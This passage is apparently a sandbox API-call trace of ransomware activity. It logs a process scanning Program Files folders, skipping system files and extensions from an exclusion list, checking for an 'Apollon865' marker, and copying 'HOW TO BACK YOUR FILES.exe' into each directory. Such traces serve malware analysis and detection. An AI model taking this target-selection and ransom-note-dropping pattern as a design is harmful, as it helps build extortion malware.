	[0054.197] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x385efb50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x385efb50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0054.198] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.198] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.198] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.198] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x385efb50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x385efb50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.198] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.198] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.198] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.198] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.198] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x385c99f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x385c99f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.198] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.198] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3eb700, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61027a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a3eb700, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x257a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Project.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0054.198] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Project.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.198] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Project.dll", lpString2="Apollon865.txt.exe") returned 1
	[0054.198] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Project.dll", lpString2=".") returned 1
	[0054.198] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Project.dll", lpString2="..") returned 1
	[0054.198] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Project.dll", lpString2="windows") returned -1
	[0054.198] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Project.dll", lpString2="bootmgr") returned 1
	[0054.198] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Project.dll", lpString2="temp") returned -1
	[0054.198] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Project.dll", lpString2="pagefile.sys") returned -1
	[0054.198] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Project.dll", lpString2="boot") returned 1
	[0054.198] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Project.dll", lpString2="ids.txt") returned 1
	[0054.198] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Project.dll", lpString2="ntuser.dat") returned -1
	[0054.198] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Project.dll", lpString2="perflogs") returned -1
	[0054.198] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Project.dll", lpString2="MSBuild") returned -1
	[0054.198] lstrlenW (lpString="Microsoft.VisualStudio.Tools.Applications.Project.dll") returned 53
	[0054.198] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\*") returned 80
	[0054.198] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="Microsoft.VisualStudio.Tools.Applications.Project.dll" | out: lpString1="Microsoft.VisualStudio.Tools.Applications.Project.dll") returned="Microsoft.VisualStudio.Tools.Applications.Project.dll"
	[0054.198] lstrlenW (lpString="Microsoft.VisualStudio.Tools.Applications.Project.dll") returned 53
	[0054.198] lstrlenW (lpString="Apollon865") returned 10
	[0054.198] lstrcmpiW (lpString1="roject.dll", lpString2="Apollon865") returned 1
	[0054.198] lstrlenW (lpString=".dll") returned 4
	[0054.198] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Project.dll", lpString2=".dll") returned 1
	[0054.199] lstrlenW (lpString=".lnk") returned 4
	[0054.199] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Project.dll", lpString2=".lnk") returned 1
	[0054.199] lstrlenW (lpString=".ini") returned 4
	[0054.199] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Project.dll", lpString2=".ini") returned 1
	[0054.199] lstrlenW (lpString=".sys") returned 4
	[0054.199] lstrcmpiW (lpString1="Microsoft.VisualStudio.Tools.Applications.Project.dll", lpString2=".sys") returned 1
	[0054.199] lstrlenW (lpString="Microsoft.VisualStudio.Tools.Applications.Project.dll") returned 53
	[0054.199] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Office", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Office") returned="C:\\Program Files (x86)\\Microsoft Office"
	[0054.199] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc9b8 | out: hHeap=0x580000) returned 1
	[0054.199] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0054.199] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Office") returned 39
	[0054.199] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Office" | out: lpString1="C:\\Program Files (x86)\\Microsoft Office") returned="C:\\Program Files (x86)\\Microsoft Office"
	[0054.199] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.199] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft office\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.203] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.203] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x38615cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38615cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0054.203] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.203] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.203] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.203] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x38615cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38615cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.203] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.203] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.203] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.203] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.203] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38615cb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x38615cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.203] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.203] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1
	[0054.203] lstrcmpiW (lpString1="Office14", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.203] lstrcmpiW (lpString1="Office14", lpString2="Apollon865.txt.exe") returned 1
	[0054.203] lstrcmpiW (lpString1="Office14", lpString2=".") returned 1
	[0054.203] lstrcmpiW (lpString1="Office14", lpString2="..") returned 1
	[0054.203] lstrcmpiW (lpString1="Office14", lpString2="windows") returned -1
	[0054.203] lstrcmpiW (lpString1="Office14", lpString2="bootmgr") returned 1
	[0054.203] lstrcmpiW (lpString1="Office14", lpString2="temp") returned -1
	[0054.203] lstrcmpiW (lpString1="Office14", lpString2="pagefile.sys") returned -1
	[0054.203] lstrcmpiW (lpString1="Office14", lpString2="boot") returned 1
	[0054.203] lstrcmpiW (lpString1="Office14", lpString2="ids.txt") returned 1
	[0054.204] lstrcmpiW (lpString1="Office14", lpString2="ntuser.dat") returned 1
	[0054.204] lstrcmpiW (lpString1="Office14", lpString2="perflogs") returned -1
	[0054.204] lstrcmpiW (lpString1="Office14", lpString2="MSBuild") returned 1
	[0054.204] lstrlenW (lpString="Office14") returned 8
	[0054.204] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Office\\*") returned 41
	[0054.204] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Office14" | out: lpString1="Office14") returned="Office14"
	[0054.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0054.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x5afb40
	[0054.204] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0054.204] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 0
	[0054.204] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0054.204] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0054.204] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Office\\Office14", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Office\\Office14") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14"
	[0054.204] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afb40 | out: hHeap=0x580000) returned 1
	[0054.204] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0054.204] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Office\\Office14") returned 48
	[0054.204] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Office\\Office14" | out: lpString1="C:\\Program Files (x86)\\Microsoft Office\\Office14") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14"
	[0054.204] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.204] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.223] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.223] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3863be10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3863be10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0054.223] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.223] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.223] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.223] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3863be10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3863be10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.223] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.223] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.223] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.223] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.223] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xba634e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba634e00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0054.223] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.224] lstrcmpiW (lpString1="1033", lpString2="Apollon865.txt.exe") returned -1
	[0054.224] lstrcmpiW (lpString1="1033", lpString2=".") returned 1
	[0054.224] lstrcmpiW (lpString1="1033", lpString2="..") returned 1
	[0054.224] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1
	[0054.224] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1
	[0054.224] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1
	[0054.224] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1
	[0054.224] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1
	[0054.224] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1
	[0054.224] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1
	[0054.224] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1
	[0054.224] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1
	[0054.224] lstrlenW (lpString="1033") returned 4
	[0054.224] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Office\\Office14\\*") returned 50
	[0054.224] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0054.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0054.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a920
	[0054.224] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0054.224] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fd50800, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x219f7cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fd50800, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xd388, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AUTHZAX.DLL", cAlternateFileName="")) returned 1
	[0054.224] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.224] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0054.224] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".") returned 1
	[0054.224] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="..") returned 1
	[0054.224] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="windows") returned -1
	[0054.224] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="bootmgr") returned -1
	[0054.224] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="temp") returned -1
	[0054.224] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="pagefile.sys") returned -1
	[0054.224] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="boot") returned -1
	[0054.224] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="ids.txt") returned -1
	[0054.224] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="ntuser.dat") returned -1
	[0054.224] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="perflogs") returned -1
	[0054.224] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2="MSBuild") returned -1
	[0054.224] lstrlenW (lpString="AUTHZAX.DLL") returned 11
	[0054.225] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033") returned 53
	[0054.225] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="AUTHZAX.DLL" | out: lpString1="AUTHZAX.DLL") returned="AUTHZAX.DLL"
	[0054.225] lstrlenW (lpString="AUTHZAX.DLL") returned 11
	[0054.225] lstrlenW (lpString="Apollon865") returned 10
	[0054.225] lstrcmpiW (lpString1="UTHZAX.DLL", lpString2="Apollon865") returned 1
	[0054.225] lstrlenW (lpString=".dll") returned 4
	[0054.225] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".dll") returned 1
	[0054.225] lstrlenW (lpString=".lnk") returned 4
	[0054.225] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".lnk") returned 1
	[0054.225] lstrlenW (lpString=".ini") returned 4
	[0054.225] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".ini") returned 1
	[0054.225] lstrlenW (lpString=".sys") returned 4
	[0054.225] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".sys") returned 1
	[0054.225] lstrlenW (lpString="AUTHZAX.DLL") returned 11
	[0054.225] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="BCSLaunch.dll" | out: lpString1="BCSLaunch.dll") returned="BCSLaunch.dll"
	[0054.225] lstrlenW (lpString="BCSLaunch.dll") returned 13
	[0054.225] lstrlenW (lpString="Apollon865") returned 10
	[0054.225] lstrcmpiW (lpString1="Launch.dll", lpString2="Apollon865") returned 1
	[0054.225] lstrlenW (lpString=".dll") returned 4
	[0054.225] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2=".dll") returned 1
	[0054.225] lstrlenW (lpString=".lnk") returned 4
	[0054.225] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2=".lnk") returned 1
	[0054.225] lstrlenW (lpString=".ini") returned 4
	[0054.225] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2=".ini") returned 1
	[0054.225] lstrlenW (lpString=".sys") returned 4
	[0054.225] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2=".sys") returned 1
	[0054.225] lstrlenW (lpString="BCSLaunch.dll") returned 13
	[0054.225] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="DGRMLNCH.DLL" | out: lpString1="DGRMLNCH.DLL") returned="DGRMLNCH.DLL"
	[0054.225] lstrlenW (lpString="DGRMLNCH.DLL") returned 12
	[0054.226] lstrlenW (lpString="Apollon865") returned 10
	[0054.226] lstrcmpiW (lpString1="RMLNCH.DLL", lpString2="Apollon865") returned 1
	[0054.226] lstrlenW (lpString=".dll") returned 4
	[0054.226] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2=".dll") returned 1
	[0054.226] lstrlenW (lpString=".lnk") returned 4
	[0054.226] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2=".lnk") returned 1
	[0054.226] lstrlenW (lpString=".ini") returned 4
	[0054.226] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2=".ini") returned 1
	[0054.226] lstrlenW (lpString=".sys") returned 4
	[0054.226] lstrcmpiW (lpString1="DGRMLNCH.DLL", lpString2=".sys") returned 1
	[0054.226] lstrlenW (lpString="DGRMLNCH.DLL") returned 12
	[0054.226] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="GROOVEEX.DLL" | out: lpString1="GROOVEEX.DLL") returned="GROOVEEX.DLL"
	[0054.226] lstrlenW (lpString="GROOVEEX.DLL") returned 12
	[0054.226] lstrlenW (lpString="Apollon865") returned 10
	[0054.226] lstrcmpiW (lpString1="OOVEEX.DLL", lpString2="Apollon865") returned 1
	[0054.226] lstrlenW (lpString=".dll") returned 4
	[0054.226] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2=".dll") returned 1
	[0054.226] lstrlenW (lpString=".lnk") returned 4
	[0054.226] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2=".lnk") returned 1
	[0054.226] lstrlenW (lpString=".ini") returned 4
	[0054.226] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2=".ini") returned 1
	[0054.226] lstrlenW (lpString=".sys") returned 4
	[0054.226] lstrcmpiW (lpString1="GROOVEEX.DLL", lpString2=".sys") returned 1
	[0054.226] lstrlenW (lpString="GROOVEEX.DLL") returned 12
	[0054.226] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="IEAWSDC.DLL" | out: lpString1="IEAWSDC.DLL") returned="IEAWSDC.DLL"
	[0054.226] lstrlenW (lpString="IEAWSDC.DLL") returned 11
	[0054.227] lstrlenW (lpString="Apollon865") returned 10
	[0054.227] lstrcmpiW (lpString1="EAWSDC.DLL", lpString2="Apollon865") returned 1
	[0054.227] lstrlenW (lpString=".dll") returned 4
	[0054.227] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2=".dll") returned 1
	[0054.227] lstrlenW (lpString=".lnk") returned 4
	[0054.227] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2=".lnk") returned 1
	[0054.227] lstrlenW (lpString=".ini") returned 4
	[0054.227] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2=".ini") returned 1
	[0054.227] lstrlenW (lpString=".sys") returned 4
	[0054.227] lstrcmpiW (lpString1="IEAWSDC.DLL", lpString2=".sys") returned 1
	[0054.227] lstrlenW (lpString="IEAWSDC.DLL") returned 11
	[0054.227] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="INLAUNCH.DLL" | out: lpString1="INLAUNCH.DLL") returned="INLAUNCH.DLL"
	[0054.227] lstrlenW (lpString="INLAUNCH.DLL") returned 12
	[0054.227] lstrlenW (lpString="Apollon865") returned 10
	[0054.227] lstrcmpiW (lpString1="LAUNCH.DLL", lpString2="Apollon865") returned 1
	[0054.227] lstrlenW (lpString=".dll") returned 4
	[0054.227] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2=".dll") returned 1
	[0054.227] lstrlenW (lpString=".lnk") returned 4
	[0054.227] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2=".lnk") returned 1
	[0054.227] lstrlenW (lpString=".ini") returned 4
	[0054.227] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2=".ini") returned 1
	[0054.227] lstrlenW (lpString=".sys") returned 4
	[0054.227] lstrcmpiW (lpString1="INLAUNCH.DLL", lpString2=".sys") returned 1
	[0054.227] lstrlenW (lpString="INLAUNCH.DLL") returned 12
	[0054.227] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSOHEV.DLL" | out: lpString1="MSOHEV.DLL") returned="MSOHEV.DLL"
	[0054.227] lstrlenW (lpString="MSOHEV.DLL") returned 10
	[0054.227] lstrlenW (lpString="Apollon865") returned 10
	[0054.227] lstrlenW (lpString=".dll") returned 4
	[0054.227] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2=".dll") returned 1
	[0054.227] lstrlenW (lpString=".lnk") returned 4
	[0054.227] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2=".lnk") returned 1
	[0054.228] lstrlenW (lpString=".ini") returned 4
	[0054.228] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2=".ini") returned 1
	[0054.228] lstrlenW (lpString=".sys") returned 4
	[0054.228] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2=".sys") returned 1
	[0054.228] lstrlenW (lpString="MSOHEV.DLL") returned 10
	[0054.228] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSOHTMED.EXE" | out: lpString1="MSOHTMED.EXE") returned="MSOHTMED.EXE"
	[0054.228] lstrlenW (lpString="MSOHTMED.EXE") returned 12
	[0054.228] lstrlenW (lpString="Apollon865") returned 10
	[0054.228] lstrcmpiW (lpString1="OHTMED.EXE", lpString2="Apollon865") returned 1
	[0054.228] lstrlenW (lpString=".dll") returned 4
	[0054.228] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2=".dll") returned 1
	[0054.228] lstrlenW (lpString=".lnk") returned 4
